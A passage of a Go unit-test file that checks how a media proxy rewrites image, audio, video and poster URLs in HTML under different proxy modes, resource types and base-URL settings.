{\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"http://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><audio src=\"http://website/folder/audio.mp3\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_None_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"http://website/folder/video.mp4\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_None_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\" poster=\"http://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"http://website/folder/video.mp4\" poster=\"http://website/folder/poster.png\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_None_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"http://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><img src=\"http://website/folder/image.png\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_None_Audio(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"http://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><audio src=\"http://website/folder/audio.mp3\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_None_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://website/folder/video.mp4\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_None_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"none\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\" poster=\"http://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://website/folder/video.mp4\" poster=\"http://website/folder/poster.png\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_HttpOnly_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"http://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><img src=\"/proxy/okK5PsdNY8F082UMQEAbLPeUFfbe2WnNfInNmR9T4WA=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlLnBuZw==\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_HttpOnly_Audio(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"http://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><audio src=\"/proxy/t5HoIOMfOlUs1_lCnhvaMI0sUz2_-gqWs_DyRevKIG0=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2F1ZGlvLm1wMw==\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_HttpOnly_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"/proxy/lKmvyYMkjI4iV7yxQqcYwJHWzMvJmjJZKl7VASyxEZ8=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL3ZpZGVvLm1wNA==\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_HttpOnly_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\" poster=\"http://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"/proxy/lKmvyYMkjI4iV7yxQqcYwJHWzMvJmjJZKl7VASyxEZ8=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL3ZpZGVvLm1wNA==\" poster=\"/proxy/YEEe0bAqTYpNrLijb25xYUNRFQsTPv5LlBikuDScPuo=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL3Bvc3Rlci5wbmc=\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_HttpOnly_Image_Poster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\" poster=\"http://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"http://website/folder/video.mp4\" poster=\"/proxy/YEEe0bAqTYpNrLijb25xYUNRFQsTPv5LlBikuDScPuo=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL3Bvc3Rlci5wbmc=\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_HttpOnly_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"http://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><img src=\"http://localhost/proxy/okK5PsdNY8F082UMQEAbLPeUFfbe2WnNfInNmR9T4WA=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlLnBuZw==\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_HttpOnly_Audio(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"http://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><audio src=\"http://localhost/proxy/t5HoIOMfOlUs1_lCnhvaMI0sUz2_-gqWs_DyRevKIG0=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2F1ZGlvLm1wMw==\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_HttpOnly_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://localhost/proxy/lKmvyYMkjI4iV7yxQqcYwJHWzMvJmjJZKl7VASyxEZ8=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL3ZpZGVvLm1wNA==\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_HttpOnly_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"http://website/folder/video.mp4\" poster=\"http://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://localhost/proxy/lKmvyYMkjI4iV7yxQqcYwJHWzMvJmjJZKl7VASyxEZ8=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL3ZpZGVvLm1wNA==\" poster=\"http://localhost/proxy/YEEe0bAqTYpNrLijb25xYUNRFQsTPv5LlBikuDScPuo=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL3Bvc3Rlci5wbmc=\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_All_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"https://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><img src=\"/proxy/LdPNR1GBDigeeNp2ArUQRyZsVqT_PWLfHGjYFrrWWIY=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9pbWFnZS5wbmc=\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_All_Audio(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"https://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><audio src=\"/folder/proxy/EmBTvmU5B17wGuONkeknkptYopW_Tl6Y6_W8oYbN_Xs=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9hdWRpby5tcDM=\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_All_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_All_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\" poster=\"https://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\" poster=\"/proxy/u-yLZEYDELx9OlU9to8bt13iysttOWfYpqRfmQYkm3U=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9wb3N0ZXIucG5n\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_All_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"https://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><img src=\"http://localhost/proxy/LdPNR1GBDigeeNp2ArUQRyZsVqT_PWLfHGjYFrrWWIY=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9pbWFnZS5wbmc=\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_All_Audio(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"https://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><audio src=\"http://localhost/proxy/EmBTvmU5B17wGuONkeknkptYopW_Tl6Y6_W8oYbN_Xs=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9hdWRpby5tcDM=\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_All_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://localhost/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_All_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\" poster=\"https://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://localhost/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\" poster=\"http://localhost/proxy/u-yLZEYDELx9OlU9to8bt13iysttOWfYpqRfmQYkm3U=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9wb3N0ZXIucG5n\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_BasePath_All_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"https://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><img src=\"/folder/proxy/LdPNR1GBDigeeNp2ArUQRyZsVqT_PWLfHGjYFrrWWIY=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9pbWFnZS5wbmc=\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_BasePath_All_Audio(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"https://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><audio src=\"/folder/proxy/EmBTvmU5B17wGuONkeknkptYopW_Tl6Y6_W8oYbN_Xs=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9hdWRpby5tcDM=\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_BasePath_All_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"/folder/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_BasePath_All_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\" poster=\"https://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><video src=\"/folder/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\" poster=\"/folder/proxy/u-yLZEYDELx9OlU9to8bt13iysttOWfYpqRfmQYkm3U=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9wb3N0ZXIucG5n\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_BasePath_All_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", 